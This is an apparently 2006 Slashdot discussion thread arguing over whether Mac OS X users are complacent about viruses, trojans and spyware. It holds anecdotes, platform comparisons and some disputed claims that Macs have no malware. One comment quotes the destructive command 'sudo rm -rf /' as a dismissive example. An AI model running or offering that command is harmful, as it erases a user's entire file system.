    You're not vulnerable if you're not a target. Macs are not targets. And I fix all computers, Windows, Linux, Macs. Mac people are no more or less smug than those other users. Most Windows people don't have a clue about firewalls, virii, trojans, or worms fyi. Computer users are all the same. They just want something that works. BTW I haven't had to remove a virus, trojan, or a worm from a Mac yet. I've done that for Windows machines all the time and make good money doing it. You do the math.
    • ... Computer users are all the same. They just want something that works. ...

      Correction:

      Computer users are all the same: they just want the one system that they're familiar with to work (the way they want).
  • nVIR (Score:3, Interesting)

    by xplenumx (703804) on Monday January 16, 2006 @10:48AM (#14481627)
    "Mac users assume their safety in the face of trojans, worms, keyloggers and other malware."

    I distinctly remember my first virus way when the computer was still a bit of a novelty and the 200MB disk was considered godly (I distinctly remember my Day saying that we'd never fill it up in our lifetime). When my family got our first Mac Plus, I thought I was in heaven - I could draw using MacDraw and write up reports, but most importantly I could play all sorts of cool games like Dark Castle and Dungeon of Doom. Of course it didn't take me long to figure out that my friends and I could swap games, stretching our very limited allowance. Everything was great, until one day I accidentally infected our computer with one of the nVIR viruses. That was an experience I'll never forget - my dad feared for his computer, I feared for my life. The computer survived, and so did I (barely), but it's safe to say that I've been paranoid about viruses ever since.

  • by Biotech9 (704202) on Monday January 16, 2006 @10:51AM (#14481657) Homepage
    There have been HUNDREDS of articles like this over the last few years, especially since Apple moved to OS X. And every time the tone is, that Mac users have no idea how dangerous computing is, and have too much trust in Apple and OS X to be inherently virus/malware/spyware/trojan proof.

    The problem for me is, that I see nothing to shake that trust in OS X.

    I switched to OS X machines after years of administrating a collection of around 100 PCs in two internet cafes, and 100 PCs running Windows being used by thousands of clueless users entails massive amounts of work and hardship to keep them virus/malware/spyware/trojan free. We had a few Mac machines, and all they ever needed was to have 'software update' run once in a while.

    There's no point telling people that they have too much faith in OS X's powers to keep out the hackers and viruses, when there are STILL no viruses for Macs, still no malware apps, still no trojans, still no worms. What can they expect articles like this to make users do? Run anti-virus software everyday? What the hell would it be looking for?
  • by Erwos (553607) on Monday January 16, 2006 @10:52AM (#14481662)
    Linux is a damned secure OS, at least as good as MacOS X. Yet, you find Linux sysadmins often talking about relatively paranoid security measures when talking about keeping their systems safe. Linux has a good security culture. (The same could be said for the BSDs.)

    The issue, in my eyes, is not whether MacOS users are going to be immediately vulnerable to any virus outbreaks because they're not securing their computers properly - it's whether this whole "I use Macs, therefore, I am impervious" is fostering a culture of bad security practices in the Mac community. A good OS is only half the battle - you need to make sure you have good security practices, too, if you don't want to get owned.

    -Erwos
  • by jeffehobbs (419930) on Monday January 16, 2006 @10:58AM (#14481711) Homepage

    A couple of men went camping. They camped at a remote site, new to them, where they didn't really know everyone else who was camping there. After setting up, one of the men put a little, teeny tiny lock on their tent flap door. His friend looked at the flimsy lock and remarked, "That lock is nowhere near good enough to keep out anyone who might want to get into your tent! Why, I bet I could get through that lock in less than a minute.". The first man replied, "The lock doesn't need to be the best lock in the world; it just needs to be better than that guy's" -- and he pointed to the tent next door, without a lock at all.

    The point being, surely Mac OS X is not the end-all and be-all of security, but Apple has by all accounts gotten increasingly serious about security as Mac OS X has matured. It's not ever going to be possible to have a 100% perfect level of security, but as long as it's better than that guy's (points to Redmond, WA), in most people's minds it'll be the most secure commercial OS on the market. ~jeff
    • A couple of men went camping. They camped at a remote site, new to them, where they didn't really know everyone else who was camping there. After setting up, one of the men put a little, teeny tiny lock on their tent flap door. His friend looked at the flimsy lock and remarked, "That lock is nowhere near good enough to keep out anyone who might want to get into your tent! Why, I bet I could get through that lock in less than a minute.". The first man replied, "The lock doesn't need to be the best lock in th
  • Two Stories (Score:4, Interesting)

    by NardofDoom (821951) on Monday January 16, 2006 @11:35AM (#14482000)
    I made my mother-in-law buy an eMac. I didn't want to have to support the thing. The only trouble she has is that she doesn't run permission repairs as often as she should, but since I've turned on SSH and can run them (and software update) remotely, this isn't really an issue. She's had it for over two years and hasn't had a virus or spyware problem. (Though she gives out her email address freely, and gets a ton of spam, but Mail's filter is quite good at catching it.)

    My dad bought my niece an HP laptop for Christmas. The next day, I was installing some software (Firefox, AdAware) and got a pop up for "cheap mortgages". She was fiddling with it for all of three hours on Christmas day and got spyware.

    Yes, I realize that these are anecdotal stories, but they're pretty typical of the experiences most tech people have in their families.

    But, as someone posted earlier, if Macs are 5% of the computer market, why aren't 5% of the viruses and spyware on Macs? That would be tens of thousands, not a few dozen.

  • by Greyfox (87712) on Monday January 16, 2006 @11:37AM (#14482021) Homepage Journal
    Are Mac users too smug in the assumption of their security. Perhaps the question should be, why do Windows users accept as normal the idea that they have to run several third party programs in order for their system to be even remotely secure? Microsoft could do a lot more to make their system secure right out of the box. They could do a lot to discourage the bad security habits that makes spreading assorted crapware so easy on their systems. They could do a lot to instruct new users how to keep their system safe and secure rather than just letting them figure it out on their own. They do none of these things.

    I think a user should have the right to expect that he can plug his brand new spiffy computer into the Internet without having it infected with some crap within a matter of minutes. I think a user should have a right to expect that his computer is secure without having to run 5 separate security products on it at all times. I think a user should have a right to expect that he can open an email or web page he hasn't visited before without the fear that his computer might be taken over. I think that if your operating system does not live up to these simple measurements, you have failed as a software company.

  • by gordguide (307383) on Monday January 16, 2006 @11:44AM (#14482075)
    I think you would find all three levels of "smug" amongst Mac users, amongst Linux users, and even amongst Windows users, seeing as how we have plenty of issues in the wild that target Microsoft desktops and laptops. OSX is not particularly "good" against malware; it's more like Windows is particularly "bad", and 99% of the Bad Windows is due entirely to Bill's Favorite OS being configured as vulnerable in a default install. This is a problem in the attitude and practice of the OS vendor, not the OS itself.

    Were Windows to be more like UNIX, Linux, or OSX in only that one area, we'd all be more secure, and we could all be worrying about more serious vulnerabilities that go beyond attachments, nasty pictures and Active-X agents of doom.

    Now, "too smug" about security, I'm not so sure. It definitely depends on who you talk to (and you obviously haven't been talking to any Mac users I've tutored on the subject; they know security is ongoing and requires vigilance on any platform).

    Apple themselves are, and always have been, very reluctant to suggest Macs are immune to malware, and even with Windows nearing 100K in virus/worm/trojan instances, they are remarkably silent about what many feel is a significant competitive advantage. OS9 was (and still is) a much more secure OS than OSX; it may well be amongst the most secure ever widely deployed by anyone. Yet, that would be news to a majority of users on any platform, including OS9 users themselves.

    Are men "too smug" about Breast Cancer? Certainly they don't "worry" about it, but they too can be victims (not sure about the actual instances, but perhaps 1-10 ratio would be in the ballpark. You could look it up if it's important to you). Yet, it's not on top of their radar, and I don't think you should be insisting that's somehow wrong. There are other things to worry about, plain and simple.

    How many copies of Mac AntiVirus software gets sold? By the parent post, it should be none, since the smug would obviously prefer to spend their money on further whitening of their annoyingly bright smiles. Yet, it's widely deployed on home computers (not just corporate boxes) running OSX. I don't know about you, but putting out $50 for what the smug would find to be useless software doesn't jive with the assertion. I also find it hard to believe that Windows users would voluntarily deploy any software at all that cost them money to protect Linux, UNIX or Mac users were the shoe on the other foot.

    I wonder if all this smugness is related to former Windows users or to people actually comparing the two platforms while shopping and who chose a different path than they otherwise would have a few years ago? If Linux boxes were available to average consumers (a real problem, still not addressed) would Linux geeks be outnumbered by clueless Linux Lusers, smug about security?
  • by ShyGuy91284 (701108) on Monday January 16, 2006 @11:53AM (#14482145)
    I'd say Mac users are def. too smug about security, and it's only a matter of time till that smugness is taken advantage of. But for now, it works. You see, what I haven't been able to get is why there aren't any significant virus threats for Macs. Just as there are fanatics for Macs, I've seen people _HATE_ Macs and all that use them with a passion second only to their passion for living. How these people haven't created viruses for Macs is beyond me (Harder to spread since Windows would be a brick wasll if it were a worm, but still worth a try, maybe a bi-OS virus?). It can't be that every good virus maker is a Mac fan. I think OS X has a built in Firewall, but for now, I think I'll be fine not using a virus scanner like much of the rest of the Mac community (I feel like I just admitted my kryptonite....).
  • by catdevnull (531283) on Monday January 16, 2006 @11:54AM (#14482154)
    I've seen this problem on our university's campus more than a half dozen times (oh, the horror!).

    -User reads something about "SSH" to access his machine.
    -User turns on SSH
    -User also has no imagination with password--uses common dictionary spellings
    -User is cracked into with dictionary attack
    -Security team shuts down port or blocks MAC after a bank calls to report attacks
    -User calls helpdesk
    -Consultant re-installs MacOS X and smacks the user about the head and shoulders because they had no business enabling SSH
    -User has admin privileges stripped
    -Problem solved--for now.

    So, the biggest "problem" is, indeed, user ignorance. But, out of the box, I'd say Macs are in pretty good shape against attacks and malware given the current lack (and history) of Mac spyware, trojans, or viruses (none that I know of).

    Macs are not impervious, but they enjoy 2 major benefits:
    1) There aren't enough of them for a worm to spread quickly or effectively (which is what I'd want if I were in the black arts).
    2) They don't come with giant holes from the complacent company who wrote the OS--why work when you can pick the low-hanging fruit from MS?

    With the new Intel chips, executeables might find new life in the Mac...but we'll see.
  • by SuperKendall (25149) * on Monday January 16, 2006 @12:03PM (#14482236)
    Apple has quite a few things going for it in regards to security, which is why we've seen no wild viruses yet:

    1) Real user accounts with limited system permissions. Makes it harder for viruses to really worm into the system.

    2) No services open by default so there's really no good vector for automatic intrusion - whatever service you pick is going to have a low payback.

    But really a very important, and often overlooked feature is (3) - a system updater that people do not disable, because it's not very intrusive.

    That is what gives Macs a tremendous immunity advantage as a group, because if any attack vectors are found (either through Safari or services or what have you) Apple can have 90% of the Macs on the planet patched within a week (being really conservative there and assuming that 10% of macs either would have update disabled or otherwise are unable to update for some time for some reason). So even a serious spyware problem that entered through Safari (my bet for the first sucessful attack we would see) would be patched before many people would get hit.

    In theory Windows Update could do the same for Windows - but in reality a lot of people disable it as it keeps breaking things or is just plain in the way.

    So the reason that Macs have no viruses yet is not because the marketshare is too small (point me to any spammer that would just toss aside a few million zomies if they could use 'em), but because like the borg shield any vulnerabilities are constantly shifting and thus not explotable for long enough to make the attempt worthwhile.
  • by NeedleSurfer (768029) on Monday January 16, 2006 @12:04PM (#14482256)
    These post are common, I've been reading them on Slashdot, Ars Technica, my newspaper and tech sites around the internet. They usually are initiated by virus vendors trying to be profesisonnal (not sell their product noooo...) and warn us of the potential dangers.

    I'm actually pretty sure there are more articles about the fact that MacOSX can be prone to malware than there is malware on the Mac. As a mather of fact, no malware on the Mac yet (MacOSX, classic MacOS had a few prior to os8).

    None
    Zero
    Zilch

    There was this "proof of concept" once... you had to download a mp3, which in fact was an executable archive, you had to double-click it in the finder, which almost no one does (drag and drop on app in dock usually), then it would execute (which no mp3 does, you have to be a moron not to be suspicious at that point) and then your MacOS was asking for permission to run the process (cause it was targetting a system component), then at this point, you have to be VERY stupid to write your password in the window and click yes. That was what is considered "proof of concept" on the mac...
  • spyware remover (Score:3, Informative)

    by macguys (472025) on Monday January 16, 2006 @12:19PM (#14482381) Homepage
    There is an anti-spyware product for the Mac OS world called "MacScan". I interviewed the President and COO of SecureMac, the developers, on the last edition of Radio MacGuys

    http://www.macguys.com/ [macguys.com]

  • by Danathar (267989) on Monday January 16, 2006 @12:34PM (#14482493) Journal
    When looking at theories stating that if OS X had larger market share than windows we would see many more OS X viruses one might thing this is a reasonable assumption. The problem with thinking in this way is that it uses Windows as it's case example. With windows as the only data set for comparison there is no evidence to support that with similar market share we would see a dramatic increase of viruses on OS X.

    You can definitely argue that there might be more ATTEMPTS at writing more viruses/malware/ect due to a percieved increase in the target market size, but the differences between windows and OS X are such that you really can't say that because with X product Y happened, so with A product Y will also happen.

    Show me ONE...just ONE OS X VIRUS...not UNIX worm, not 10 year old Office VB script, or somebody just writing a shell script with "sudo rm -rf /" and I might listen.

    Until I see one in the wild everything else is conjecture.
  • by Animats (122034) on Monday January 16, 2006 @02:28PM (#14483607) Homepage
    There are a few MacOS-X attacks in the wild. Cowhand-A [secunia.com] was the most significant one of 2005. It's a Trojan, and it turns the computer into a proxy zombie for remote connections. It's primitive by Windows virus standards. It just installs a program in the startup folder, and makes no attempt to conceal itself.

    So it's clearly possible to craft attacks for MacOS-X. But Mac market share is so tiny that few bother. Back before the PowerPC transition, when Apple had more market share, there were more Mac viruses. "Back in the late 1980s, viruses used to be a much bigger problem on Macs than on PCs. We here at F-Secure used to have an antivirus product for Mac but discontinued it after the macro viruses died out". [zdnet.com.au]

    There have been some gaping holes in MacOS-X browsers that allowed execution of remote code. But nobody bothered to exploit them. Or so it is thought. There's always the possibility of quiet exploits that extract some useful information from the target, ship it somewhere, then clean up and exit.

  • And also... (Score:3, Funny)

    by Gorimek (61128) on Monday January 16, 2006 @05:05PM (#14485159) Homepage
    In other news, oxygen tank expert Bronchito McCougherson chastised non smokers for being too smug thinking they were immune from emphysema and lung cancer.

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